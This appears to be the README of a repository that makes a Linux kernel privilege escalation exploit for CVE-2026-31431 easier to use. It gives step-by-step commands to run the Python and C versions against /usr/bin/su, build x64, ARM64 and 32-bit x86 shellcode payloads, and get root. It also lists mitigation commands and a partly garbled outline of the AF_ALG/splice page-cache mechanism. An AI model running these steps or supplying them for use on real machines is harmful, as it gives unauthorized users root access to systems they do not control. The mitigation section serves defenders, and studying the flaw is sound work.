
Easy-to-understand version of CVE-2026-31431
Easy-to-understand version of CVE-2026-31431, a privilege escalation technique that allows anybody to become root. The original proof-of-concept is found here: https://github.com/theori-io/copy-fail-CVE-2026-31431, but is heavily compressed and minified so it can have as small of a footprint as possible. This repository attempts to break down that code in a more readable manner, including what the code does, how the payload is loaded, and how to target different architectures. See the more technical writeup here: https://xint.io/blog/copy-fail-linux-distributions.
By default, running python3 copyfail.py will run x64 shellcode exploiting /usr/bin/su. You can supply your own payload by running python3 copyfail.py [path/to/custom/payload.elf]. As an example, there is an ARM64 shellcode assembly inside payloads/. So to test on ARM64 devices, you first should build a minimized payload with our custom linker script:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
Then you can run the main exploit using python3 copyfail.py shellcode_aarch64.elf.
For running on C:
./c_copyfail which runs the same default shellcode as above../c_copyfail [path/to/custom/payload.elf].For building the C version:
cd c_port
make
Specifically, this compiles the target .S file into a raw binary which is output as a C unsigned char array:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
or, for 32 bit x86,
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
You can then copy the contents of this file into your source code, or you can just directly run ./c_copyfail.exe [path/to/payload.elf] where payload.elf is generated from as + ld NOT gcc + objcopy.
To avoid exploitation, run:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
If already exploited, you can restart the machine, or run:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALGsplice() system call, kernel puts actual page-cache pages of the file you spliced into the crypto work area/usr/bin/su in this case)/usr/bin/su, kernel reads it from page cache and gets modified bytes/usr/bin/su so UID is 0 (root)The su binary is corrupted in-memory, so file modification will not be detected. To restore from disk, you can flush the page-cache.